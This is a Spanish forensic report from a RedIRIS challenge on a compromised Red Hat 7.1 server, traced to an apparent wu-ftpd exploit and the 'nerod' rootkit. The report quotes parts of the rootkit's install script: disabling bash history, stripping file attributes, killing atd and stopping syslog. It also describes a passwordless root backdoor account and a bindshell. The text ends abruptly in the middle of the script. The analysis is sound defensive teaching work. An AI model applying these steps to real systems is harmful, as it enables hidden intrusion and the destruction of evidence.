Reto de Análisis Forense de RedIris

INFORME TÉCNICO

Reto_rediri-tecs V.10. Rev. 30/Dic/2003

Introducción

El informe se ha realizado con fines principalmente didácticos, por lo que se ha decidido utilizar herramientas comunes y disponibles de forma generalizada. Así, se ha optado por usar únicamente órdenes comunes del Sistema Operativo en cuestión (Linux) y seguir una secuencia lógica partiendo de un "desconocimiento" de las técnicas habituales de los "hackers", así como no utilizar herramientas del estilo de *chkrootkit*. El informe se ha dividido en tres partes, la primera dedicada a reunir la información básica del Sistema Operativo, software instalado, servicios activados y posibles vías de entrada. La segunda parte se dedica al análisis de los ficheros de log, identificación de IPs del/los atacante/atacantes y confirmación de que de el sistema ha sido comprometido. La tercera parte analiza en profundidad el nivel de compromiso del sistema. Finalmente, en la Parte IV se establecen las recomendaciones de seguridad para evitar futuros ataques en el sistema atacado.

ÍNDICE

Parte I: Información sobre el sistema

I.1.- Datos de identificación del sistema

- Versión S.O: Un listado del directorio `/etc` nos muestra la existencia de un fichero denominado `/etc/redhat-release`, por lo que se trata de una distribución Redhat (en distribuciones debian, aparece un fichero denominado `/etc/debian_version`, etc). El contenido del fichero nos indica que se trata de una distribución Red Hat 7.1.
- Número IP del ordenador atacado: 192.168.3.10 (`/etc/sysconfig/network-scripts/ifcfg-eth0`).
- Gateway: 192.168.3.1 (`/etc/sysconfig/network`)
- Nombre del ordenador (según `/etc/hosts`): redhat71
- Servidor de nombres (`/etc/resolv.conf`): 192.168.1.3
- Los datos anteriores nos indican que el ordenador atacado se encontraba en una red interna, posiblemente tras un firewall. Para que pudieran llegar a este ordenador, es preciso que existan puertos abiertos a través del firewall que proporcionen un camino de acceso al ordenador atacado.

I.2.- Servicios activos en el sistema

Como primer paso para identificar la vía de entrada, se estudiarán los servicios activos en el sistema. Se distinguirá entre daemons iniciados en modo "*standalone*" y en modo "*inetd*".

I.2.1.- Servicios en modo standalone

Para el caso de los servicios en modo "*standalone*" se seguirá el siguiente procedimiento, teniendo en cuenta que se está en un sistema Redhat:

a) Ver en qué "*runlevel*" funciona el sistema por defecto
b) Ver qué servicios se activan en ese "*runlevel*"

En nuestro caso, una inspección de `/etc/inittab` nos revela que por defecto se trabaja en "*runlevel*" 3.
Los servicios que se activan, pueden verse en `/etc/rc3.d` (Los que empiezan por S), de los cuales se destacan en la Tabla I.1 aquellos que dan servicio remoto:

Servicio	***Descripción***	***Comentarios***	***Activo***
nfslock	Sistema nfs	Fichero /etc/exports vacío	Si
netfs	Sistema nfs	Fichero /etc/exports vacío	Si
sshd	Servicios secure shell		Si
lpd	Servicios de impresión	No hay impresoras definidas en /etc/printcap	No
sendmail	Servicios de correo		Si
xinetd	Servicios inetd		Si

Tabla I.1. Servicios *standalone* remotos configurados

De los servicios anteriores, los servicios *netfs* y *nfslock* constituyen el servicio de exportación de ficheros NFS (Network Filesystem). Puesto que el fichero `/etc/exports` se encuentra vacío, el servicio no se está utilizando, por lo que mantenerlo activo es un riesgo innecesario. El servicio *lpd* tampoco se utiliza al no haber impresoras definidas en el sistema, pero el menos no se encuentra activo (el script de inicio `/etc/init.d/lpd` comprueba si hay impresoras en el sistema antes de activarlo). El servicio *sendmail* para el correo electrónico sí se encuentra activo. Finalmente, se activa el daemon *xinetd* que proporciona el servicio de arranque de daemons en modo *inetd*.

I.2.2.- Servicios en modo inetd

Tal y como se ha comentado, en Redhat 7.1 se utiliza el daemon *xinetd*, por lo que los ficheros de configuración para cada servicio deben estar en `/etc/xinetd.d`. Si se revisan los contenidos de los ficheros de configuración, sólo se tiene activo el servicio *wu-ftpd* (todos los demás tiene la línea *disable='yes'*)

I.2.3.- Consideraciones sobre los servicios

En resumen, los servicios susceptibles de ser utilizados para realizar un ataque remoto, son los siguientes:

- nfsd
- sshd
- sendmail
- wu-ftpd

No obstante, estas conclusiones son provisionales, puesto que el sistema ha sido comprometido y las configuraciones de los servicios, así como los propios servicios pueden haber cambiado con respecto a los que había antes del ataque. El análisis de los ficheros de log (Apartado III.1) proporcionará más información al respecto.
Los *tcp-wrappers* no están configurados (`/etc/hosts.allow` y `/etc/hosts.deny` vacíos), lo que añade un riesgo extra en los servicios activos. Tampoco se encuentran reglas definidas para firewall (no existen ni `/etc/sysconfif/ipchains` ni `/etc/sysconfig/iptables`), posiblemente por el hecho de encontrarse en una red interna.

A continuación se estudian los paquetes que proporcionan los servicios citados y sus versiones, a fin de buscar vulnerabilidades conocidas en los mismos y establecer las vías de entrada más probables.

I.3.- Versiones y vulnerabilidades conocidas de los servicios

Suponiendo que la versión instalada es la de Español (deducido de algunos mensajes en este idioma que se han encontrado en los ficheros de log), los paquetes que proporcionan los servicios anteriores y sus versiones son los siguientes (obtenido de ftp://ftp.redhat.com/pub/redhat/linux/7.1/es/os/i386/RedHat/RPMS/).
En cuanto a los servicios iniciados en modo "*standalone*", su arranque se encuentra configurado en el directorio `/etc/init.d`. De los servicios incluidos, los siguientes son susceptibles de dar servicios remotos (y por tanto, vulnerables ante ataques remotos):

Servicio	***Paquete***	***Versión***
nfsd	nfs-utils-0.3.1-5.i386.rpm	0.3.1-5
sshd	openssh-server-2.5.2p2-5.i386.rpm	2.5.2p2-5
sendmail	sendmail-8.11.2-14.i386.rpm	8.11.2-14
wu-ftpd	wu-ftpd-2.6.1-16.i386.rpm	2.6.1-16

Tabla I.2. Versiones de los servicios remotos activos

I.3.1.- Vulnerabilidades conocidas para los servicios

Seguidamente, y tras consultar los boletines de seguridad de Redhat Inc (http://www.redhat.com) y las bases de datos CVE (http://cve.mitre.org) y del CERT (http://www.cert.org), la Tabla I.3 muestra las vulnerabilidades más importantes conocidas para los servicios activos el nuestro sistema atacado.

Paquete	*Vulnerabilidades*	*Comentarios*
nfs-utils-0.3.1-5	Bases de datos CVE: CAN-2003-0252 Informes Redhat: RHSA-2003:206-08	**CAN-2003-0252:** permite ataques DoS. Ejecución de código arbitrario poco probable
openssh 2.5.2-p2	Bases de datos CVE: CAN-2003-0682 CAN-2003-0693 CAN-2003-0695 CAN-2003-0190 CVE-2002-0640 Informes Redhat: RHSA-2003:279-17 RHSA-2003:222-08 RHSA-2002:127-25	**CAN-2003-0682**: Impacto desconocido **CAN-2003-0693**: Permitiría la ejecución de código arbitrario **CAN-2003-0695**: permitiría ataques DoS **CAN-2003-0190**: Obtención de nombres de usuario válidos **CVE-2002-0640**: Ejecución de código arbitrario
sendmail-8.11.2-14	Bases de datos CVE: CVE-2003-0681 CAN-2003-0694 CAN-2003-0161 CAN-2002-1165 CAN-2002-1337 CVE-2001-0653 CVE-2001-1349 Informes Redhat: RHSA-2003:283-09 RHSA-2003:120-07 RHSA-2003:073-06 RHSA-2001:106-08	**CAN-2003-0681**: Impacto desconocido. **CAN-2003-0694**: Ejecución de código arbitrario. **CAN-2003-0161**: Dos y posiblemente código arbitrario. **CAN-2002-1165**: Ejecución de código no restringido en smrsh. **CAN-2002-1337**: Ejecución de código arbitrario. **CVE-2001-0653**: local root. **CVE-2001-1349**: DoS, posibilidad modificación de privilegios.
wu-fptd	Bases de datos CVE: CAN-2003-0466 CVE-2001-0550 Informes Redhat: RHSA-2003:245-15	**CAN-2003-0466:** posibilidad de exploit remoto para obtener privilegios de root **CVE-2001-0550**: Ejecución de código arbitrario

Tabla I.3. Vulnerabilidades de los servicios abiertos

Según la tabla anterior, los servicios *openssh*, *sendmail* y *wu-ftpd* son candidatos a ser atacados remotamente sino se encuentran debidamente actualizados.

A continuación se confirman las versiones instaladas para verificar que no se han instalado actualizaciones:

- openssh --> Versión 2.5.2p2 (verificado en `/usr/sbin/sshd`)

- sendmail --> Versión 8.11.2 (verificado en `/usr/sbin/sendmail`)
- wu-ftpd --> Versión 2.6.1 (verificado en `/usr/sbin/in.ftpd` y enlaces `/usr/sbin/in.wuftpd` y `/usr/sbin/wu.ftpd`)

Por tanto, los tres servicios quedan como candidatos a ser víctimas de un ataque remoto. Finalmente, vamos a realizar una revisión de los "exploits" disponibles públicamente para las tres versiones:

- openssh 2.5.2p2 --> No se han encontrado exploits públicos
- sendmail 11.8.2 --> Disponibles públicamente solo exploits locales para obtener acceso root.
- wu-ftpd 2.6.1--> Disponibles varios exploits públicos para conseguir privilegios de root mediante exploit remoto.

Por tanto, el servicio que implica mayores riesgos, parece ser el *wu-ftpd*.

I.3.2.- Configuraciones de los servicios

Finalmente, y con objeto de seguir estableciendo el nivel de riesgos para cada uno de los servicios activados, se realiza un estudio preliminar de las configuraciones de los mismos:

- nfsd - - > No existen directorios a exportar en `/etc/exports`. No se piensa por tanto utilizar el servicio. Unido a que las vulnerabilidades conocidas presentan pocas probabilidades de permitir la ejecución de código arbitrario y que, posiblemente, los puertos nfs no estén abiertos a través del firewall (para qué van a abrirse sino se exporta nada...), el riesgo de que la entrada haya sigo mediante este servicio es **bajo**.
- sshd - - > El análisis de las entradas en los ficheros de log, revelan que este servicio ha sufrido intentos de acceso desde el exterior. Debe haber, por tanto, un puerto abierto en el firewall que permita llegar hasta él. En el Apartado II.5 se muestra que el fichero de configuración `/etc/sshd-config` ha sido modificado tras el ataque, por lo que el contenido del mismo no es fiable. La existencia de vulnerabilidades que permiten ejecución remota de código arbitrario hacen que el riesgo de entrada para este servicio sea **alto** a pesar de que no hay exploits remotos públicos (lo que no significa que grupos de "crackers" no dispongan de ellos).
- sendmail - - > el fichero de configuración `/etc/sendmail.cf` nos muestra que el sistema de envío de correo no está configurado. Existen múltiples vulnerabilidades, aunque no hay exploits públicos. Por otra parte, si el sistema no va a enviar correo electrónico, es de esperar que el puerto esté cerrado en el firewall. Calificaremos el riesgo de entrada para este servicio como **moderado.**
- wu-ftpd - - > El fichero de configuración `/etc/ftpaccess` (y que tiene fecha de modificación anterior al ataque) muestra que el servicio está configurado para

ofrecer servicio de FTP anonymous. En ese caso, es de esperar que el sistema este abierto a través del firewall para permitir el acceso público. Este hecho, unido a que existen vulnerabilidades y exploits públicos para la versión instalada, hacen que el riesgo de entrada a través de este servicio sea **muy alto.**

Por tanto, tras la revisión de las configuraciones, el principal candidato como vía de entrada sigue siendo el *wu-ftpd*, seguido del *sshd*. La siguiente parte, dedicada al estudio de los ficheros de log aclarará aún más las cosas.

Parte II: Análisis de los ficheros de log

II.1: Ficheros de log

Revisando la configuración del *syslogd*, en el fichero `/etc/syslog.conf`, se tienen los siguientes ficheros de log definidos en el sistema (aparte de los log propios que generen aplicaciones particulares como el *httpd*)

Descripción	***Nombre syslogd***	***Fichero de log***
Sistema de correo	mail.*	/var/log/maillog
Sistema de autentificación	authpriv.*	/var/log/secure
Sistema de ejecución temporizada	cron.*	/var/log/cron
Mensajes de arranque	local7.*	/var/log/boot.log
Todos menos los anteriores	*.info	/var/log/messages

Tabla II.1. Configuración del sistema de log

No se han incluido en la tabla anterior sistemas que no están activados, como las *news*. La información en `/var/log/boot.log` es redundante porque ya se encuentra incluida también en `/var/log/messages`. La revisión se va a comenzar por `/var/log/messages`, que nos dará una idea global de todo lo que ha ido sucediendo en el sistema (con las correspondientes reservas, puesto que el ordenador ha sido comprometido). La revisión del resto de los ficheros de log puede ayudar a completar esa información.

II.1.1.- Análisis de /var/log/messages

La primera entrada en el fichero de log se produce el 21/Agosto a las 19:02. A continuación se comentan las entradas más interesantes:

```
21/Agosto a las 19:02:26 - - > Se inicia servicio sshd (uno de los
servicios considerados de riesgo en el Apartado I.3.1

21/Agosto a las 19:02:56 - - > Se inicia el daemon xinetd. No arranca
ningún servicio inetd, están todos desactivados (en el estado final del
sistema, el wu-ftpd sí está activado, así que debe activarse más
adelante)
```

```
21/Agosto a las 19:03:04 - - > Se inicia sendmail (otro de los servicios
de riesgo)

21/Agosto a las 19:03:16 - - > Se produce un login como root

21/Agosto a las 19:04:59 - - > Se reinicia xinetd, que ahora aparece con
un servicio activado, el wu-ftpd

21/Agosto a las 19:05:25 - - > El usuario root hace un logout
```

Hasta aquí todo parece normal, después de la instalación se arranca el sistema, y el administrador abre una sesión para iniciar el servicio de *ftpd* (y tal vez realizar alguna acción más en el sistema)

```
22/Agosto a las 08:17:25 - - > Empieza a utilizarse el servicio ftpd.
Aparece un cierre de conexión como primera entrada (no aparece el
correspondiente inicio de sesión), lo que resulta sospechoso

22/Agosto a las 08:24:20 - - > Se repite la situación anterior.

22/Agosto a las 06:26:29 - - > Inicio sesión FTP Anonymous (IP:
218.146.115.18). Obsérvese el detalle de la hora incorrecta, realmente
debían ser las 8:26. Las dos entradas anteriores posiblemente hayan sido
un intento de ataque que haya provocado la alteración en la hora.

22/Agosto a las 08:30:43 - - > Nuevas entradas de conexión FTP
finalizadas, sin tener el inicio correspondiente (IP: 213.84.155.131). ¿
Más intentos de ataque ?

22/Agosto a las 08:31:37 - - > Se repite el intento
```

Entre las 13:12:00 (del 22 de Agosto) y las 00:19:19 (del 23 de Agosto) se repiten las entradas de conexión FTP cerradas

```
22/Agosto a las 22:21:05 - - > Entrada con fecha corrupta.. estamos ya a
23 de Agosto y la hora .. tampoco es correcta. La fecha correcta
(teniendo en cuentra las entradas siguientes, datada a las 00:25:03 del
23 de Agosto) debería ser 22/Agosto, 00:21:05. Nueva conexión FTP con
login Anonymous desde IP: 200.47.186.114

23/Agosto a las 00:25:03 - - > Se paran los servicios de log del kernel
y el syslogd. Parece que el intento anterior de entrada al sistema tuvo
éxito. El sistema debe considerarse comprometido.
```

Según el contenido de este fichero de log, parece que se ha entrado al sistema a través del *wu-ftpd*, usando alguno de los exploits disponibles. La entrada se produjo, probablemente a las 00:22:48 del 23 de Agosto desde la IP: 200.47.186.114

A partir de las 00:25:04 del 23 de Agosto, no se dispone de información en los ficheros de log, y además debe considerarse que todo fichero modificado después de las 00:22:48 debe haberlo sido por el atacante.

III.1.2.- Fichero /var/log/maillog

No contiene demasiada información; solo confirma que se arrancó con éxito el sendmail a las 19:03 del 21 de Agosto y que su versión es la 8.11.2 como ya sabíamos

III.1.3.- Fichero /var/log/secure

Empieza el 21 de Agosto a las 19:02:54

```
21/Agosto 19:02:54 - - > Inicio de sshd

22/Agosto 08:17:24 - - > Inicio de ftpd (pid= 6586)desde IP:
218.146.115.18. La conexión dura 1 sg.Confirma entrada en
/var/log/messages y añade la información del IP

22/Agosto 08:24:27 - - > Inicio de ftpd (pid= 6589) desde IP:
218.146.115.18. La conexión dura 2 sg.Confirma entrada en
/var/log/messages y añade la información del IP.

22/Agosto 08:26:27 - - > Inicio de ftpd (pid=6590) desde IP:
218.146.115.18. La conexión dura 1020 sg. Confirma entrada en
/var/log/messages y añade la información del IP. Esta vez, parece que se
ha conseguido establecer una conexión duradera sin hacer login. Puede
que el intruso haya tenido éxito. La conexión finaliza a las 8:43:27

22/Agosto 08:30:13 - - > Inicio de ftpd (pid= 6595) desde IP:
213.84.155.31. La conexión dura 30 sg. Confirma entrada en
/var/log/messages y añade la información del IP.

22/Agosto 08:31:07 - - > Inicio de ftpd (pid= 6596) desde IP:
213.84.155.31. La conexión dura 30 sg. Confirma entrada en
/var/log/messages y añade la información del IP.

22/Agosto 13:11:59 - - > Inicio de ftpd (pid= 6733) desde IP:
210.83.207.251. La conexión dura 1 sg. Confirma entrada en
/var/log/messages y añade la información del IP.

22/Agosto 19:16:07 - - > Inicio de sshd (pid= 6902) desde IP:
195.116.20.232. No se envió string de identificación. Posible intento de
ataque.
```

El hecho de que el sshd haya recibido una conexión desde el exterior indica que efectivamente el puerto está abierto a través del firewall. Se convierte así en otra posible vía de de entrada de alto riesgo.

```
22/Agosto 20:16:07 - - > regeneración de claves en sshd (pid=
609).Posiblemente fecha corrupta y consecuencia del intento de ataque
anterior (no existe ninguna tarea cron definida para sshd y no se ha
realizado ningún .

22/Agosto 23:30:31 - - > Inicio de ftpd (pid= 7019) desde IP:
213.84.155.31. La conexión dura 30 sg. Confirma entrada en
/var/log/messages y añade la información del IP.
```

```
22/Agosto 23:37:25 - - > Inicio de ftpd (pid= 7020) desde IP:
213.84.155.31. La conexión dura 30 sg. Confirma entrada en
/var/log/messages y añade la información del IP.

22/Agosto 00:12:13 - - > Inicio de ftpd (pid= 7045) desde IP:
200.47.186.114. La conexión dura 2 sg. Confirma entrada en
/var/log/messages y añade la información del IP.

22/Agosto 00:19:18 - - > Inicio de ftpd (pid= 7046) desde IP:
200.47.186.114. La conexión dura 1 sg. Confirma entrada en
/var/log/messages y añade la información del IP.

22/Agosto 00:21:04 - - > Inicio de ftpd (pid= 7049) desde IP:
200.47.186.114. Duración de la conexión desconocida. Los ficheros de log
dejaron de funcionar poco después..

22/Agosto 00:22:47 - - > Inicio de ftpd (pid= 7052) desde IP:
200.47.186.114. Duración de la conexión desconocida. Los ficheros de log
dejaron de funcionar poco después..
```

II.1.4.- Fichero /var/log/cron

No contiene información relevante

II.1.5.- Otros ficheros de log

Del resto de ficheros de log, sólo resultan relevantes `/var/xferlog` (fichero de log generado por *wu-ftpd* que contiene las transacciones realizadas en las sesiones FTP) y `/var/log/wtmp`.

- xferlog - - > Está vacío, lo que refuerza la tesis de que todas las conexiones FTP realizadas iban destinadas a obtener un acceso no autorizado al sistema.
- wtmp - - >(visualizado con last –f /var/log/wtmp): aparecen algunas de las sesiones FTP abiertas, sin añadir nada nuevo. Sólo resulta de interés la última sesión abierta como usuario root a las 12:33 del 23 de Agosto y que no aparece en ningún otro fichero de log por razones obvias.

II.2.- Estudio de las IPs utilizadas por los atacantes

Teniendo en cuenta el estudio realizado de los ficheros de log, todas las direcciones IP que aparecen en los mismos se han visto implicadas en algún tipo de ataque a la máquina comprometida, aunque no hayan conseguido su objetivo en todos los casos. A continuación se muestra el rastreo de estas direcciones IP. El rastreo se ha llevado a cabo a través del servicio whois de las centros NIC. La búsqueda inicial se ha llevado a cabo en a través del servicio whois de http://www.nic.com

IP	*Comentario*	*NIC responsable*	*Dominio*	*Entidad responsable*	*email abusos*	*País*
218.146.115.18	Intento de ataque sobre wu-ftpd	KRNIC	kornet.net	KOREA TELECOM	abuse@kornet.net	Corea

IP	*Comentario*	*NIC responsable*	*Dominio*	*Entidad responsable*	*email abusos*	*País*
213.84.155.31	Intento de ataque sobre wu-ftpd IP estática ADSL	RIPE	Xs4all.nl	XS4ALL Internet BV	abuse@xs4all.nl	Holanda
210.83.207.251	Intento de ataque sobre wu-ftpd	APNIC	china-netcom.com	dalian-guanganmen-corp	daihy@china-netcom.com	China
195.116.20.232	Intento de ataque sobre sshd	RIPE	tpnet.pl	TPNET, TP S.A. Centrum Systemow Teleinformatycznych	abuse@tpnet.pl	Polonia
200.47.186.114	Ataque sobre wu-ftpd.	LACNIC	COMSAT.com.pe	COMSAT Peru S.A. - LMGT	fernando.torres@COMSAT.COM.PE	Perú

Tabla II.2. Rastreo de las Ips atacantes, extraídas de los ficheros de log

Los números IP son de distintos países y parece que los intentos de ataque no están relacionados entre sí (aunque podría tratarse de un craker o grupo organizado que dispone de varios ordenadores bajo su control)

II.3 Confirmación del compromiso del sistema

Según el estudio realizado sobre los ficheros de log, los sistemas de log fueron desactivados a las 00:25:04, por lo que parece que el último intento de ataque del que se tiene constancia, el realizado a las 00:22:48 desde la dirección IP 200. 47.186.114 tuvo éxito y consiguió mediante alguno de los exploits remotos existentes para el *wu-ftp 2.6.1* acceder al sistema con privilegios de root. Se va a efectuar una primera inspección del sistema para confirmar si efectivamente se ha visto comprometido. Concretamente se va a inspeccionar el directorio `/etc` en busca de ficheros modificados después de las 00:22:48 y antes de la entrada del root a la mañana del día siguiente. El resultado de ejecutar un *ls –c -lt –full-time* sobre el directorio `/etc`, nos proporciona la siguiente lista de archivos, después de seleccionar los que se ajustan a la franja horaria descrita:

```
-rw-------    1 root   root          512 Fri Aug 23 10:25:25 2002
ssh_random_seed
-rw-r--r--    1 root   root          474 Fri Aug 23 00:56:39 2002 group
-rw-------    1 root   root          484 Fri Aug 23 00:56:39 2002 group-
-r--------    1 root   root          393 Fri Aug 23 00:56:39 2002 gshadow
-rw-------    1 root   root          400 Fri Aug 23 00:56:39 2002 gshadow-
-rw-r--r--    1 root   root         1013 Fri Aug 23 00:56:39 2002 passwd
-rw-------    1 root   root         1044 Fri Aug 23 00:56:39 2002 passwd-
-rw-------    1 root   root          831 Fri Aug 23 00:56:39 2002 shadow
-rw-------    1 root   root          856 Fri Aug 23 00:56:39 2002 shadow-
-rw-r--r--    1 root   root            4 Fri Aug 23 00:56:24 2002 ftp
-rw-------    1 root   root          168 Fri Aug 23 00:56:20 2002 ftpusers
-rw-r--r--    1 root   root         3313 Fri Aug 23 00:25:44 2002 wgetrc
-rwxr-xr-x    1 root   root          531 Fri Aug 23 00:25:14 2002 ssh_host_key
drwxr-xr-x    2 root   root         1024 Fri Aug 23 00:25:13 2002 ssh
```

```
-rwxr-xr-x    1 root   root          685 Fri Aug 23 00:25:13 2002 sshd_config
-rw-r--r--    1 root   root          849 Fri Aug 23 00:25:10 2002 bashrc
-rw-rw-r--    1 root   root        12288 Fri Aug 23 00:25:10 2002 psdevtab
-rw-------    1 root   root          122 Fri Aug 23 00:25:10 2002 securetty
```

Así, queda confirmado que se han modificado ficheros de la configuración del FTP, los ficheros del sistema de autentificación: `/etc/passwd`, `/etc/shadow`, `/etc/gshadow` y `/etc/group`; y algunos más, dentro de una franja horaria en la que, supuestamente, no había nadie con sesión iniciada en el sistema. Claramente, el sistema ha sido comprometido.

PARTE III: Estudio del nivel de compromiso del sistema

III.1.- Análisis del servicio FTP

El análisis de las acciones llevadas a cabo por el intruso se va a iniciar por el sistema de FTP, casi con toda seguridad la vía de entrada utilizada. Además, en caso de haber enviado archivos, posiblemente lo haya hecho aprovechando la disponibilidad del servicio FTP *anonymous*. Uno de los ficheros de configuración modificados es `/etc/ftpusers`, en el que puede haberse eliminado alguna de las entradas originales, aunque realmente no resulta determinante. Seguidamente, se revisa el fichero `/etc/passwd` para localizar el *home* del usuario *ftp*, donde se sitúan los ficheros que se intercambian en sesiones de FTP *anonymous.*
El usuario *ftp* no aparece en `/etc/passwd`. Es uno de los ficheros comprometidos, así que puede que el intruso haya eliminado la entrada correspondiente. Por suerte, se dispone de dos copias de seguridad, `/etc/passwd-` y `/etc/passwd.OLD`. El archivo `/etc/passwd-` tiene fecha posterior al ataque (véase II.5), y `/etc/passwd.OLD` anterior. Usemos por tanto este último archivo. En `/etc/passwd.OLD` aparece, en efecto, el *home* del usuario *ftp*, situado concretamente en `/var/ftp.`
Una revisión del directorio /var/ftp nos revela la existencia de un fichero y un directorio no habituales, `/var/ftp/nerod.tar.gz` y `/var/ftp/nerod`. Las fechas de ambos son las siguientes:

```
drwxr-xr-x   3 503    503        1024 Fri Aug 23 00:26:01 2002 nerod
-rw-r--r--   1 root   root     544317 Fri Aug 23 00:24:19 2002 nerod.tar.gz
```

El fichero `/var/ftp/nerod.tar.gz` fue colocado posiblemente en la sesión FTP abierta a las 00:22:47. A continuación se descomprimió con *gzip –d* y posteriormente se le realizar un *tar –xvf* al fichero resultante (`/var/ftp/nerod.tar`), obteniéndose el directorio `/var/ftp/nerod` a las 00:26:01. Un *ls –la* de `/var/ftp/nerod` nos muestra varios archivos con nombres de órdenes habituales de un sistema Linux, lo que nos lleva a pensar que se trata de un *rootkit*, como se confirmará en III.3. Antes de estudiar el *rootkit*, se analizarán los ficheros de autentificación modificados y algunos más del directorio /etc

III.2.- Análisis de los ficheros de autentificación modificados

Ya que se dispone (por un descuido, que no es el primero que comete el intruso, más adelante se hará un comentario exhaustivo de los errores cometidos por el mismo) del fichero `/etc/passwd` junto con sus copias originales, es posible compararlos y estudiar las modificaciones que ha introducido el intruso. Concretamente, tenemos las siguientes:

```
root@localhost#diff passwd passwd-
14a15
> ftp:x:14:50:FTP User:/var/ftp:
```

el último cambio realizado fue eliminar la entrada del usuario ftp. Los cambios entre passwd- y passwd.OLD son los siguientes:

```
root@localhost#diff passwd- passwd.OLD
26,28c26
< pepelu:x:500:500:Jose Luis Martinez:/home/pepelu:/bin/bash
< ssh:x:0:0:root:/root:/bin/bash
< nerod:x:501:501::/home/nerod:/bin/bash
---
> pepelu:x:500:500::/home/pepelu:/bin/bash
```

Por tanto, el intruso ha introducido dos usuarios, *ssh* y *nerod*. El nombre *nerod* es el mismo que se ha utilizado para el *rootkit*, y el usuario *ssh* se ha introducido con UID 0 (el de root). Un análisis de `/etc/shadow` nos muestra que el usuario *ssh* no tiene password, con lo cual tenemos que el intruso ha dejado una puerta trasera para acceder con privilegios de root mediante un usuario sin password. El usuario *nerod* sí que tiene password y un *home* creado en `/home/nerod` (no se ha encontrado nada interesante en `/home/nerod`). Finalmente, en los ficheros de grupos (`/etc/group` y `/etc/gshadow`) se tienen las entradas que se esperaban, en consonancia con el contenido de `/etc/passwd` y `/etc/shadow`, exceptuando la ausencia de *ssh*.

III.3.- Análisis del resto de ficheros modificados en /etc

Posiblemente, el resto de modificaciones efectuadas en `/etc` sean debidas a la instalación del *rootkit* encontrado (*nerod*), y se podrán analizar tales modificaciones a partir del estudio del contenido del *rootki*t. No obstante, se presenta aquí un análisis preliminar de los mismos:

- `/etc/securetty - -` > añadidas entradas 0 1 2 3 (entradas sin sentido en securetty. No existen las entradas `/dev/0`, `/dev/1`, `/dev/2` ni `/dev/3`. Probablemente el *rootkit* instale una versión modificada del programa *login* que trate de manera especial esas entradas)
- /`etc/psdevtab - -` > ¿ tal vez creado por una versión modifada de la orden *ps* instalada por el *rootki*t ?
- `/etc/ssh* - -` > Ficheros de configuración de *sshd*, posiblemente se ha instalado también una versión modificada de *sshd.* Un vistazo rápido a `/etc/sshd_config`

nos muestra por ejemplo que el *sshd* va a escuchar en el puerto 1981, que no es el propio del servicio ssh (puerto 22).

- `/etc/bashrc - -` > En principio no se observa ninguna línea que produzca resultados "indeseados". Si este fichero ha sido modificado por el *rootkit* detectado, el análisis posterior determinará el impacto de las modificaciones efectuadas.
- `/etc/wgetrc - -` > Fichero de configuración para la herramienta GNU *wget*. Se trata de un software para la descarga no interactiva de ficheros. El fichero de configuración paraece haber sido modificado por el *rootkit*, aunque no contiene nada extraño. Lo más probable es que el *rootkit* haya instalado su propia versión de *wget*, (tal vez se trate de una versión "modificada"). Se comprobará al examinar el *rootkit*.

III.4.- Análisis del rootkit

El fichero `/var/ftp/nerod.tar.gz`, que se encuentra descomprimido en el directorio `/var/ftp/nerod` contiene, según se señaló anteriormente, un *rootkit*. Viendo el contenido del directorio, se observa un script de instalación (`/var/ftp/nerod/install`) y un log del proceso de instalación (`/var/ftp/nerod/install.log`). Se va a proceder al análisis del script de instalación, y posteriormente se determinará qué acciones se han completado y en qué estado de compromiso se encuentra el sistema tras ese proceso de instalación.

III.4.1.- Análisis del script de instalación de nerod, /var/ftp/nerord/install

Las primeras líneas, desactivan el historial de *bash* (para no dejar huellas de las órdenes efectuadas en el script), configuran el PATH de la forma usual, e inicializan el fichero de log de la instalación (`/var/ftp/nerod/install.log`):

```
unset HISTFILE
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin:/sbi
n:/bin:/
usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin:/usr/local/bin
echo >install.log
echo "Install log for `hostname -i` or `hostname -i`">>install.log
echo >>install.log
. . .
```

A continuación modifica los atributos de los ficheros de sistema que piensa modificar, para asegurarse de que puede hacerlo (el significado de las opciones pasadas a *chattr* es: `-i` – *immutable* `-a` – *append only* `-u` – *undeleteable*)

```
chattr -iau /etc/rc.d/init.d/sshd /etc/rc.d/init.d/syslogd
/etc/rc.d/init.d/functions /usr/bin/chsh /etc/rc.d/init.d/atd
>>install.log 2>&1
. . .
```

La siguiente tabla muestra los ficheros a los que se han cambiado los atributos (y que por tanto, van a sustituirse o modificarse)

Fichero	***Comentario***
/etc/rc.d/init.d/sshd	Script inicialización sshd
/etc/rc.d/init.d/syslogd	Script inicialización syslogd
/etc/rc.d/init.d/functions	Funciones inicialización daemons init.d
/usr/bin/chsh	Cambia el shell login
/etc/rc.d/init.d/atd	Script inicialización atd
/usr/local/sbin/sshd	Daemon sshd
/usr/sbin/sshd	Daemon sshd (ubicación alternativa)
/bin/ps	Visualización de procesos
/bin/netstat	Visualización conexiones de red
/bin/login	Programa de login
/bin/ls	Listado de archivos
/usr/bin/du	Utilización discos
/usr/bin/find	Utilidad para encontrar ficheros
/usr/sbin/atd	Daemon de automatización de procesos
/usr/bin/pstree	Visualización de árboles de procesos
/usr/bin/killall	Utilidad para matar todos los procesos
/usr/bin/top	Visualización de procesos
/sbin/fuser	Visualización de propietarios de procesos
/sbin/ifconfig	Configuración de interfaces de red
/usr/sbin/syslodgd	Daemon de log del sistema
/sbin/syslogd	Daemon de log del sistema (Ubicación alternativa)
/etc/rc.d/init.d/inet	Scrip de inicialización del daemon inetd

Tabla III.1. Ficheros a los que se modifican los atributos

Seguidamente prepara el sistema para instalar los programas y scripts descritos en la tabla anterior. Comienza por el daemon *atd*:

```
rm -f /var/lock/subsys/atd
killall -9 atd >>install.log 2>&1
```

Desactiva los servicios de log para poder instalar una versión modificada del syslogd:

```
cp -f syslogd.init /etc/rc.d/init.d/syslog >>install.log 2>&1
if [ -f /etc/rc.d/init.d/syslogd ]; then
    cp -f syslogd.init /etc/rc.d/init.d/syslogd >>install.log 2>&1
fi
/etc/rc.d/init.d/syslog stop >>install.log 2>&1
```

Seguidamente presenta algunos mensajes y aborta la instalación si no tiene un sistema con configuración SysV o sino se dispone de md5sum (lo necesita para instalar el paquete md5bd, un *bindshell* con autentificación md5)

```
echo
```

```
echo "        ${cl}${cyn}-=${cl}${hblk}[${cl}${hgrn}overkill Red Hat
6.*rkby NFK${cl}${hblk}]${cl}${cyn}=-${cl}${wht}"

if [ ! -d /etc/rc.d/init.d ] || [ ! -d /etc/rc.d/rc0.d ]; then
    echo "${cl}${hred}Argh!! .. SysV init not found${cl}${wht}"
    echo "${cl}${hred}Installation aborted.${cl}${wht}"
